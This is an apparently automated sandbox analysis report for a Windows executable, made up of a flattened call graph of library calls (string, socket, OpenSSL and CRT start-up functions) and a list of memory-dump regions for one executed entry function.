10900->10886 10903 d13842 32 API calls 10900->10903 10901->10896 10902->10896 10903->10886 10906->10899 10909 d19e32 10908->10909 10914 d19e01 10908->10914 10910 d19c41 32 API calls 10909->10910 10911 d19e44 memcpy 10910->10911 10912 d19e83 10911->10912 10913 d19eb4 10911->10913 10918 d19eaf abort 10912->10918 10915 d19ec9 __stack_chk_fail 10913->10915 10916 d19ece 10913->10916 10917 d19e2d abort 10914->10917 10915->10916 10916->10854 10917->10909 10918->10913 10920 beaf49 10919->10920 10921 beaf65 10920->10921 10922 beaf60 __stack_chk_fail 10920->10922 10921->10895 10922->10921 10929 bc73e6 strcmp 10930 bc740c strcmp 10929->10930 10931 bc7428 10929->10931 10930->10931 10932 bc7432 strcmp 10930->10932 10931->10932 10933 bc7452 strcmp 10932->10933 10939 bc74fe 10932->10939 10934 bc7472 strcmp 10933->10934 10933->10939 10935 bc748e strcmp 10934->10935 10934->10939 10936 bc74aa strcmp 10935->10936 10935->10939 10937 bc74c6 strcmp 10936->10937 10936->10939 10938 bc74e2 strcmp 10937->10938 10937->10939 10938->10939 10940 d13842 32 API calls 10939->10940 10941 bc75e6 10940->10941 10942 d13842 32 API calls 10941->10942 10943 bc760a strstr 10942->10943 10944 bc763e 10943->10944 10945 bc7624 strstr 10943->10945 10947 d13842 32 API calls 10944->10947 10945->10944 10946 bc7662 10945->10946 10954 d19204 WSAStartup 10946->10954 10947->10946 10950 d13842 32 API calls 10951 bc768f 10950->10951 10952 bc77a9 10951->10952 10953 bc77a4 __stack_chk_fail 10951->10953 10953->10952 10955 d19241 10954->10955 10956 d1926f 10954->10956 10957 d13842 32 API calls 10955->10957 10958 d19286 __stack_chk_fail 10956->10958 10959 bc7667 10956->10959 10957->10956 10958->10959 10959->10950 10960 bc38e7 10961 bc38ed 10960->10961 10962 d13207 33 API calls 10961->10962 10963 bc3947 10962->10963 10964 bc39f5 10963->10964 10965 bc39f0 __stack_chk_fail 10963->10965 10965->10964 10966 d1928d FormatMessageA 10967 d192f3 10966->10967 10968 d19309 10966->10968 10967->10968 10969 d192f9 10967->10969 10970 d213ee 36 API calls 10968->10970 10971 d213ee 36 API calls 10969->10971 10974 d19304 10970->10974 10971->10974 10972 d19342 10973 d1933d __stack_chk_fail 10973->10972 10974->10972 10974->10973 10975 c4e398 strlen 10976 c4e3d3 10975->10976 10979 c4e43f 10976->10979 10980 c4e43a abort 10976->10980 10977 c4e4fa 10981 c4e573 10977->10981 10984 c4e500 10977->10984 10978 c4e571 10985 c4e606 10978->10985 10986 c4e601 __stack_chk_fail 10978->10986 10979->10977 10990 c6cd66 10979->10990 10980->10979 10981->10978 10988 c4e5c5 free 10981->10988 11011 d1fb67 10981->11011 10982 d1f194 43 API calls 10982->10984 10984->10978 10984->10982 10987 c4e54c free 10984->10987 10986->10985 10987->10984 10988->10981 10993 c6cdb8 10990->10993 10991 c6ce85 10994 d1ad40 48 API calls 10991->10994 10992 c6ce46 10992->10991 10997 c6ce80 abort 10992->10997 10993->10992 10996 c6ce41 abort 10993->10996 10995 c6cebd 10994->10995 10998 c6ced6 strlen 10995->10998 11005 c6cf23 10995->11005 10996->10992 10997->10991 10999 c6cf04 strcmp 10998->10999 10998->11005 10999->11005 11000 d19dbe 36 API calls 11001 c6d175 11000->11001 11006 c6d195 11001->11006 11007 c6d190 __stack_chk_fail 11001->11007 11002 c6cf74 strlen 11002->11005 11003 c6d105 11003->11000 11004 d21144 38 API calls 11004->11005 11005->11002 11005->11003 11005->11004 11008 d13842 32 API calls 11005->11008 11009 c6d0c0 free 11005->11009 11010 c6d0e0 free 11005->11010 11006->10979 11007->11006 11008->11005 11009->11005 11010->11005 11013 d1fb97 11011->11013 11014 d1fbc8 11011->11014 11012 d1fc46 11019 d1fcf1 11012->11019 11024 d1fcec abort 11012->11024 11016 d1fbc3 abort 11013->11016 11015 d1fc07 11014->11015 11017 d1fc02 abort 11014->11017 11015->11012 11018 d1fc41 abort 11015->11018 11016->11014 11017->11015 11018->11012 11020 d21144 38 API calls 11019->11020 11021 d1fcfa 11019->11021 11020->11021 11022 d1fd78 __stack_chk_fail 11021->11022 11023 d1fd7d 11021->11023 11022->11023 11023->10981 11024->11019 11029 bea5e0 11030 bea5eb 11029->11030 11035 c119b2 time 11030->11035 11033 bea62f 11034 bea62a __stack_chk_fail 11034->11033 11037 c119ea 11035->11037 11036 c11a58 11038 bea5f3 11036->11038 11039 c11bbf __stack_chk_fail 11036->11039 11037->11036 11041 c10a71 11037->11041 11038->11033 11038->11034 11039->11038 11042 c10af2 11041->11042 11043 c10a96 11041->11043 11044 c10b00 __stack_chk_fail 11042->11044 11045 c10b05 11042->11045 11046 d13842 32 API calls 11043->11046 11044->11045 11045->11036 11047 c10ae4 11046->11047 11049 c1084e 11047->11049 11050 c1086d 11049->11050 11051 c108d0 __stack_chk_fail 11050->11051 11052 c108d5 11050->11052 11051->11052 11052->11042 11053 bf095f 11058 bebb42 11053->11058 11056 bf0d3e 11057 bf0d39 __stack_chk_fail 11057->11056 11061 bebb8d 11058->11061 11059 bebbd7 memset 11106 d170e4 11059->11106 11061->11059 11064 bebbd2 abort 11061->11064 11063 bebd2f 11065 d13842 32 API calls 11063->11065 11068 bebd7c 11063->11068 11064->11059 11065->11068 11066 bebc59 11070 bec40d __stack_chk_fail 11066->11070 11071 bec412 11066->11071 11067 bebc2d 11067->11066 11072 d13842 32 API calls 11067->11072 11069 bebda7 11068->11069 11073 bebe57 11068->11073 11074 bebdba 11069->11074 11077 bebdf2 11069->11077 11070->11071 11071->11056 11071->11057 11072->11066 11073->11066 11076 bebf00 11073->11076 11078 bec1fa 11073->11078 11074->11066 11075 d13842 32 API calls 11074->11075 11075->11066 11079 bebf24 11076->11079 11084 bebf60 11076->11084 11081 d13842 32 API calls 11077->11081 11083 bec33c 11078->11083 11088 bec221 11078->11088 11080 d13842 32 API calls 11079->11080 11080->11066 11081->11066 11082 bec2ad 11087 d13842 32 API calls 11082->11087 11086 bec368 abort 11083->11086 11085 bebff3 11084->11085 11090 bebf9d 11084->11090 11093 bec00e 11085->11093 11096 bec064 11085->11096 11086->11066 11094 bec2d1 11087->11094 11089 bec26b 11088->11089 11091 bec266 abort 11088->11091 11089->11082 11092 bec2a8 abort 11089->11092 11095 d13842 32 API calls 11090->11095 11091->11089 11092->11082 11097 d13842 32 API calls 11093->11097 11098 d213ee 36 API calls 11094->11098 11095->11066 11099 d213ee 36 API calls 11096->11099 11101 bec0e3 11096->11101 11097->11066 11098->11066 11099->11101 11100 bec16f 11102 d13842 32 API calls 11100->11102 11103 bec1aa 11100->11103 11101->11100 11104 d13842 32 API calls 11101->11104 11102->11103 11103->11066 11105 d13842 32 API calls 11103->11105 11104->11100 11105->11066 11111 d17141 11106->11111 11109 d1713a __stack_chk_fail 11110 bebc1a 11109->11110 11110->11063 11110->11067 11112 d17174 11111->11112 11113 d1719a accept 11112->11113 11115 d17182 11112->11115 11114 d171c6 11113->11114 11113->11115 11114->11115 11118 d172a4 2 API calls 11114->11118 11116 d17214 __stack_chk_fail 11115->11116 11117 d1712f 11115->11117 11116->11117 11117->11109 11117->11110 11118->11115 11119 bda358 11120 bda3b0 11119->11120 11121 be52ac 9 API calls 11120->11121 11122 bda3d8 11121->11122 11123 d13842 32 API calls 11122->11123 11124 bda49b 11122->11124 11123->11124 11125 bda4f8 11124->11125 11126 be5005 45 API calls 11124->11126 11127 bda6fd __stack_chk_fail 11125->11127 11128 bda702 11125->11128 11126->11125 11127->11128 11129 bd4cda 11130 bf21c1 58 API calls 11129->11130 11131 bd4d1d 11130->11131 11132 bd4d2e 11131->11132 11133 bd4d29 __stack_chk_fail 11131->11133 11133->11132 11134 bdea55 11135 bdea60 11134->11135 11140 c73787 11135->11140 11138 bdeabc 11139 bdeab7 __stack_chk_fail 11139->11138 11141 c737c0 11140->11141 11142 c737f1 11140->11142 11143 c737ec abort 11141->11143 11144 c7382b abort 11142->11144 11145 c73830 11142->11145 11143->11142 11144->11145 11146 c7387b abort 11145->11146 11147 c73880 11145->11147 11146->11147 11148 c739d2 11147->11148 11154 c73920 11147->11154 11150 d21144 38 API calls 11148->11150 11149 c73963 11151 c739b8 11149->11151 11155 d13842 32 API calls 11149->11155 11152 c739de memcpy 11150->11152 11163 bd3254 11151->11163 11167 bd31f3 11151->11167 11153 c73a06 11152->11153 11156 c739cd 11153->11156 11158 d13842 32 API calls 11153->11158 11154->11149 11157 c7395e abort 11154->11157 11155->11151 11159 bdea71 11156->11159 11160 c73aac __stack_chk_fail 11156->11160 11157->11149 11158->11156 11159->11138 11159->11139 11160->11159 11164 bd32b9 11163->11164 11165 bd32ca 11164->11165 11166 bd32c5 __stack_chk_fail 11164->11166 11165->11156 11166->11165 11172 bd3c77 11167->11172 11170 bd32ca 11170->11156 11171 bd32c5 __stack_chk_fail 11171->11170 11173 bd3cb6 11172->11173 11174 bd3cfa 11173->11174 11175 bd3cc5 11173->11175 11177 bd3d8e 11174->11177 11180 bd3d20 11174->11180 11176 d13842 32 API calls 11175->11176 11190 bd3cf5 11176->11190 11181 bd3e1b 11177->11181 11185 bd3dad 11177->11185 11178 bd3221 11178->11170 11178->11171 11179 bd4111 __stack_chk_fail 11179->11178 11182 d13842 32 API calls 11180->11182 11183 bd3f98 11181->11183 11187 bd3e2d 11181->11187 11182->11190 11184 bd3fde memset 11183->11184 11186 d13842 32 API calls 11183->11186 11193 bd4007 11184->11193 11189 d13842 32 API calls 11185->11189 11186->11184 11188 d13842 32 API calls 11187->11188 11191 bd3e81 11187->11191 11188->11191 11189->11190 11190->11178 11190->11179 11191->11190 11192 bd3f1a 11191->11192 11194 d13842 32 API calls 11191->11194 11195 cc4a03 41 API calls 11192->11195 11193->11190 11198 d13842 32 API calls 11193->11198 11194->11192 11196 bd3f28 11195->11196 11196->11190 11197 d13842 32 API calls 11196->11197 11197->11190 11198->11190 11199 c29faa 11200 c29fe8 11199->11200 11204 c2a04a 11200->11204 11227 c29d8c 11200->11227 11202 c2a0a6 11206 d2587b 39 API calls 11202->11206 11207 c2a0b7 11202->11207 11204->11202 11208 d13842 32 API calls 11204->11208 11205 c2a034 free 11205->11204 11206->11207 11209 c2a0fb 11207->11209 11213 d26b1b 52 API calls 11207->11213 11208->11202 11210 c2a10a 11209->11210 11211 c2a175 11209->11211 11212 c2a13b 11210->11212 11215 d13842 32 API calls 11210->11215 11218 d13842 32 API calls 11211->11218 11216 c2a15b 11212->11216 11217 c2a149 free 11212->11217 11214 c2a0ee 11213->11214 11214->11209 11219 c2a1b1 11214->11219 11215->11212 11220 d213ee 36 API calls 11216->11220 11217->11216 11221 c2a1a0 11218->11221 11222 d13842 32 API calls 11219->11222 11223 c2a170 11220->11223 11221->11223 11224 c2a1e1 free 11221->11224 11222->11223 11225 c2a211 11223->11225 11226 c2a20c __stack_chk_fail 11223->11226 11224->11223 11226->11225 11236 c29dc1 11227->11236 11228 c29ef6 11245 c29f38 11228->11245 11246 c29aab 11228->11246 11229 c29dff strcmp 11229->11236 11230 c29f66 __stack_chk_fail 11231 c29f6b 11230->11231 11231->11204 11231->11205 11233 c29ec2 strcmp 11233->11236 11234 d13842 32 API calls 11234->11236 11236->11228 11236->11229 11236->11233 11236->11234 11238 c29e5a free 11236->11238 11241 c29e99 free 11236->11241 11237 d2587b 39 API calls 11239 c29f18 11237->11239 11238->11236 11240 c29f2d 11239->11240 11242 c29f3d 11239->11242 11243 d213ee 36 API calls 11240->11243 11241->11236 11244 d213ee 36 API calls 11242->11244 11242->11245 11243->11245 11244->11245 11245->11230 11245->11231 11247 c29af3 11246->11247 11248 c29ac7 11246->11248 11249 c2990b 35 API calls 11247->11249 11254 c2990b 11248->11254 11251 c29acc 11249->11251 11252 c29b28 __stack_chk_fail 11251->11252 11253 c29b2d 11251->11253 11252->11253 11253->11237 11255 c29946 11254->11255 11261 c2993c 11254->11261 11258 c299c1 SHGetPathFromIDListA 11255->11258 11259 c2996d _getcwd 11255->11259 11256 c29aa1 __stack_chk_fail 11257 c29aa6 11256->11257 11257->11251 11258->11261 11260 d13842 32 API calls 11259->11260 11260->11261 11261->11256 11261->11257 11262 bf15d5 11267 be5b8f 11262->11267 11265 bf1657 11266 bf1652 __stack_chk_fail 11266->11265 11271 be5bdd 11267->11271 11291 be5bd3 11267->11291 11268 be5fe5 11268->11265 11268->11266 11269 be5fe0 __stack_chk_fail 11269->11268 11270 be5c14 11275 d13842 32 API calls 11270->11275 11270->11291 11271->11270 11272 be5c54 11271->11272 11273 be5c9a 11272->11273 11274 be5c5a 11272->11274 11277 be5d29 11273->11277 11278 d13842 32 API calls 11273->11278 11276 d13842 32 API calls 11274->11276 11274->11291 11275->11291 11276->11291 11279 be5d70 11277->11279 11280 be5d31 11277->11280 11278->11277 11281 be5d78 11279->11281 11282 be5db7 11279->11282 11283 d13842 32 API calls 11280->11283 11284 d13842 32 API calls 11281->11284 11285 be5dde atoi 11282->11285 11286 be5eff 11282->11286 11283->11291 11284->11291 11287 be5df5 11285->11287 11288 be5e23 11285->11288 11290 d2107e 36 API calls 11286->11290 11300 be5f35 11286->11300 11289 d13842 32 API calls 11287->11289 11294 d13842 32 API calls 11288->11294 11295 be5e66 11288->11295 11289->11291 11293 be5f13 11290->11293 11291->11268 11291->11269 11292 be5f8b 11298 d2107e 36 API calls 11292->11298 11299 be52ac 9 API calls 11293->11299 11294->11295 11296 be5eb4 11295->11296 11297 be5e74 11295->11297 11296->11286 11303 d13842 32 API calls 11296->11303 11297->11291 11302 d13842 32 API calls 11297->11302 11301 be5fa1 11298->11301 11299->11300 11300->11291 11300->11292 11305 be5f86 abort 11300->11305 11304 be52ac 9 API calls 11301->11304 11302->11291 11303->11286 11304->11291 11305->11292 11306 bd5156 11307 bd51a8 11306->11307 11308 bd5184 11306->11308 11310 bd5215 11307->11310 11311 bd51d2 11307->11311 11309 d13842 32 API calls 11308->11309 11309->11307 11312 d13842 32 API calls 11310->11312 11314 bd5271 11310->11314 11313 d13842 32 API calls 11311->11313 11312->11314 11316 bd520d 11313->11316 11315 d13842 32 API calls 11314->11315 11315->11316 11317 bd55e8 11316->11317 11318 bd55e3 __stack_chk_fail 11316->11318 11318->11317 11319 c613a8 11320 c613d6 11319->11320 11321 c6140a 11320->11321 11322 d13842 32 API calls 11320->11322 11323 c61438 11321->11323 11324 c61419 11321->11324 11322->11321 11326 c45dbc 36 API calls 11323->11326 11334 c53704 11324->11334 11328 c61424 11326->11328 11327 c61499 11329 c614af 11327->11329 11330 c614aa __stack_chk_fail 11327->11330 11328->11327 11331 d13842 32 API calls 11328->11331 11330->11329 11332 c61487 11331->11332 11338 c46152 11332->11338 11335 c5373d 11334->11335 11336 c5374d 11335->11336 11337 c53748 __stack_chk_fail 11335->11337 11336->11328 11337->11336 11343 c4619b 11338->11343 11341 c46194 __stack_chk_fail 11342 c46199 11341->11342 11342->11327 11355 c46e90 11343->11355 11346 c46189 11346->11341 11346->11342 11347 c462ab __stack_chk_fail 11347->11346 11348 c46250 11350 d13842 32 API calls 11348->11350 11349 c461f7 11349->11346 11349->11347 11351 c46274 11350->11351 11353 c46e90 45 API calls 11351->11353 11352 c46206 11352->11349 11354 c46244 abort 11352->11354 11353->11349 11354->11349 11356 c46ecc 11355->11356 11357 c46ed4 time 11356->11357 11361 c46f3a 11357->11361 11358 c461e4 11358->11348 11358->11349 11358->11352 11359 c47302 __stack_chk_fail 11359->11358 11362 c46f6f 11361->11362 11363 d19d53 32 API calls 11361->11363 11364 c46d24 11361->11364 11362->11358 11362->11359 11363->11361 11375 d211f6 11364->11375 11367 d211f6 40 API calls 11368 c46d78 11367->11368 11369 c46e30 free 11368->11369 11370 c46e42 11368->11370 11369->11370 11371 c46e50 free 11370->11371 11372 c46e62 11370->11372 11371->11372 11379 d21224 11375->11379 11376 d21261 11377 d21144 38 API calls 11376->11377 11378 d21270 11377->11378 11380 c46d62 11378->11380 11381 d2127b __stack_chk_fail 11378->11381 11379->11376 11382 d2125c abort 11379->11382 11380->11367 11381->11380 11382->11376 11383 d35ea1 11384 d35ebe ERR_load_crypto_strings OPENSSL_add_all_algorithms_noconf 11383->11384 11396 d35f8e 11383->11396 11385 d3d6f1 11384->11385 11386 d35ed7 SSLeay SSLeay_version 11385->11386 11389 d35f42 11386->11389 11390 d35ef7 strcmp 11386->11390 11387 d35fc3 __stack_chk_fail 11388 d35fc8 11387->11388 11392 d13842 32 API calls 11389->11392 11390->11389 11391 d35f0e 11390->11391 11393 d13842 32 API calls 11391->11393 11394 d35f40 11392->11394 11393->11394 11395 d3cc1c 40 API calls 11394->11395 11395->11396 11396->11387 11396->11388 11397 bea5cb 11398 bea5d6 11397->11398 11403 c67fed 11398->11403 11401 bea62f 11402 bea62a __stack_chk_fail 11402->11401 11404 c68014 11403->11404 11405 c6801f 11403->11405 11411 c62113 11404->11411 11407 c68053 11405->11407 11408 c6803d strlen 11405->11408 11409 bea5de 11407->11409 11410 c68070 __stack_chk_fail 11407->11410 11408->11407 11409->11401 11409->11402 11410->11409 11414 c62134 11411->11414 11412 c6234e 11412->11405 11413 c62349 __stack_chk_fail 11413->11412 11415 c62187 11414->11415 11416 c621db 11414->11416 11431 c621b5 11414->11431 11417 d13842 32 API calls 11415->11417 11418 c62215 11416->11418 11419 c621ec 11416->11419 11417->11431 11420 c62226 11418->11420 11421 c6226c 11418->11421 11419->11431 11432 cb3631 11419->11432 11425 d13842 32 API calls 11420->11425 11422 c622b0 11421->11422 11423 c6227d 11421->11423 11427 c622f1 11422->11427 11428 c622c1 11422->11428 11426 d13842 32 API calls 11423->11426 11425->11431 11426->11431 11430 d13842 32 API calls 11427->11430 11427->11431 11429 d13842 32 API calls 11428->11429 11429->11431 11430->11431 11431->11412 11431->11413 11433 cb3659 11432->11433 11434 cb3701 11433->11434 11437 cb36a5 time 11433->11437 11438 cb36a0 abort 11433->11438 11435 cb370d __stack_chk_fail 11434->11435 11436 cb3712 11434->11436 11435->11436 11436->11431 11439 cb36b8 11437->11439 11438->11437 11440 cb36ed time 11439->11440 11442 cb314c 11440->11442 11446 cb3167 11442->11446 11443 cb33d3 11444 cb33e1 __stack_chk_fail 11443->11444 11445 cb33e6 11443->11445 11444->11445 11445->11434 11446->11443 11447 cb32ec abort 11446->11447 11449 d13842 32 API calls 11446->11449 11450 cb354c 11446->11450 11447->11446 11449->11446 11451 cb356d 11450->11451 11452 cb361c 11451->11452 11460 cb40ce 11451->11460 11454 cb362a __stack_chk_fail 11452->11454 11455 cb362f 11452->11455 11454->11455 11455->11446 11456 cb358e 11457 cb35d7 11456->11457 11466 cb33e8 11456->11466 11457->11452 11459 cb33e8 36 API calls 11457->11459 11459->11452 11461 cb40ea 11460->11461 11462 cb4132 11461->11462 11463 cb412d abort 11461->11463 11464 cb416c __stack_chk_fail 11462->11464 11465 cb4171 11462->11465 11463->11462 11464->11465 11465->11456 11467 cb40ce 2 API calls 11466->11467 11469 cb341b 11467->11469 11475 bdbb48 11476 bdbb88 11475->11476 11479 bdbbb9 11475->11479 11478 bdbbb4 abort 11476->11478 11477 bdc0bd 11481 bdc0ce __stack_chk_fail 11477->11481 11482 bdc0d3 11477->11482 11478->11479 11480 bdbbfa abort 11479->11480 11487 bdbbff 11479->11487 11480->11487 11481->11482 11483 c71505 79 API calls 11483->11487 11484 bdbc6a abort 11484->11487 11485 bdbd2a abort 11485->11487 11486 bdbe1a abort 11486->11487 11487->11477 11487->11483 11487->11484 11487->11485 11487->11486 11488 d21144 38 API calls 11487->11488 11489 d13842 32 API calls 11487->11489 11490 d19d53 32 API calls 11487->11490 11488->11487 11489->11487 11490->11487 11491 c23734 11496 ce6a4b 11491->11496 11494 c23769 __stack_chk_fail 11495 c2376e 11494->11495 11497 ce6a75 11496->11497 11499 ce6aaf abort 11497->11499 11500 ce6ab4 11497->11500 11498 ce6b75 11501 c2375d 11498->11501 11502 ce6b81 __stack_chk_fail 11498->11502 11499->11500 11503 ce6b04 abort 11500->11503 11505 ce6b09 11500->11505 11501->11494 11501->11495 11502->11501 11503->11505 11505->11498 11506 ce62a9 11505->11506 11508 ce62e6 11506->11508 11507 ce6325 11509 ce637a 11507->11509 11511 ce6375 abort 11507->11511 11508->11507 11510 ce6320 abort 11508->11510 11512 d21144 38 API calls 11509->11512 11520 ce6454 11509->11520 11510->11507 11511->11509 11515 ce63b7 11512->11515 11513 ce646d __stack_chk_fail 11514 ce6472 11513->11514 11514->11505 11516 d213ee 36 API calls 11515->11516 11517 ce63c7 11516->11517 11518 d213ee 36 API calls 11517->11518 11519 ce63dc 11518->11519 11519->11520 11521 d13842 32 API calls 11519->11521 11520->11513 11520->11514 11522 ce6433 11521->11522 11522->11520 11523 ce6442 free 11522->11523 11523->11520 11524 bc2ec2 11525 d13842 32 API calls 11524->11525 11526 bc2ef0 11525->11526 11527 bc2f5d time 11526->11527 11529 bc2f78 11527->11529 11528 bc2f89 11531 bc2f9a 11528->11531 11532 bc2f95 __stack_chk_fail 11528->11532 11529->11528 11530 bc2d88 76 API calls 11529->11530 11530->11528 11532->11531 11533 c4353a 11540 c43557 11533->11540 11546 c43727 11533->11546 11534 c4374f 11535 c4374a __stack_chk_fail 11535->11534 11536 c4363e 11548 d26769 11536->11548 11538 d2107e 36 API calls 11538->11540 11540->11536 11540->11538 11542 d19d53 32 API calls 11540->11542 11540->11546 11541 c436b0 11544 c436d0 11541->11544 11545 c436be free 11541->11545 11542->11540 11543 d13842 32 API calls 11543->11541 11544->11546 11547 c43702 free 11544->11547 11545->11544 11546->11534 11546->11535 11547->11544 11549 d26797 11548->11549 11550 d265e9 81 API calls 11549->11550 11551 d267c9 11550->11551 11552 d267d4 __stack_chk_fail 11551->11552 11553 c43688 11551->11553 11552->11553 11553->11541 11553->11543 11554 bc56c3 11555 c1f792 11554->11555 11556 bc56e5 time 11555->11556 11560 bc570c 11556->11560 11557 bc59b0 11558 bc59fe __stack_chk_fail 11557->11558 11559 bc5a03 11557->11559 11558->11559 11560->11557 11561 bc58f7 11560->11561 11562 d13842 32 API calls 11560->11562 11561->11557 11564 d13842 32 API calls 11561->11564 11563 bc58ab 11562->11563 11563->11561 11566 bc58e5 free 11563->11566 11565 bc5964 11564->11565 11565->11557 11567 bc599e free 11565->11567 11566->11561 11567->11557

                                        Executed Functions

                                        Function 00BC11FD Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 157stringCOMMON
                                        Download Yara Rule

                                        Control-flow Graph

                                        • Executed
                                        • Not Executed
                                        control_flow_graph 1262 bc11fd-bc1221 1265 bc1424-bc1438 _amsg_exit 1262->1265 1266 bc1227-bc1246 1262->1266 1268 bc124c-bc124e 1265->1268 1269 bc143e-bc145e _initterm 1265->1269 1266->1268 1266->1269 1270 bc1464-bc146a 1268->1270 1271 bc1254-bc125b 1268->1271 1269->1270 1269->1271 1272 bc125d-bc1276 1271->1272 1273 bc1279-bc12b7 call df6bb0 SetUnhandledExceptionFilter call dfd3d0 call df6e60 1271->1273 1272->1273 1281 bc12b9-bc12bb 1273->1281 1282 bc1314-bc131c 1273->1282 1285 bc12d1-bc12d7 1281->1285 1283 bc131e-bc132e 1282->1283 1284 bc1333-bc1362 malloc 1282->1284 1283->1284 1290 bc1364-bc1399 strlen malloc memcpy 1284->1290 1286 bc12d9-bc12e4 1285->1286 1287 bc12c0-bc12c2 1285->1287 1289 bc12ce 1286->1289 1291 bc12c4-bc12c7 1287->1291 1292 bc12f0-bc12f2 1287->1292 1289->1285 1290->1290 1296 bc139b-bc13dd call df6ef0 call bc1570 1290->1296 1291->1292 1293 bc12c9 1291->1293 1294 bc12f4 1292->1294 1295 bc1305-bc130d 1292->1295 1293->1289 1297 bc130f 1294->1297 1295->1297 1298 bc1300-bc1303 1295->1298 1302 bc13e2-bc13ef 1296->1302 1297->1282 1298->1295 1298->1297 1303 bc14ab-bc14d2 exit call df6f10 1302->1303 1304 bc13f5-bc13fd 1302->1304 1305 bc13ff-bc1404 _cexit 1304->1305 1306 bc1409-bc1410 1304->1306 1305->1306
                                        APIs
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
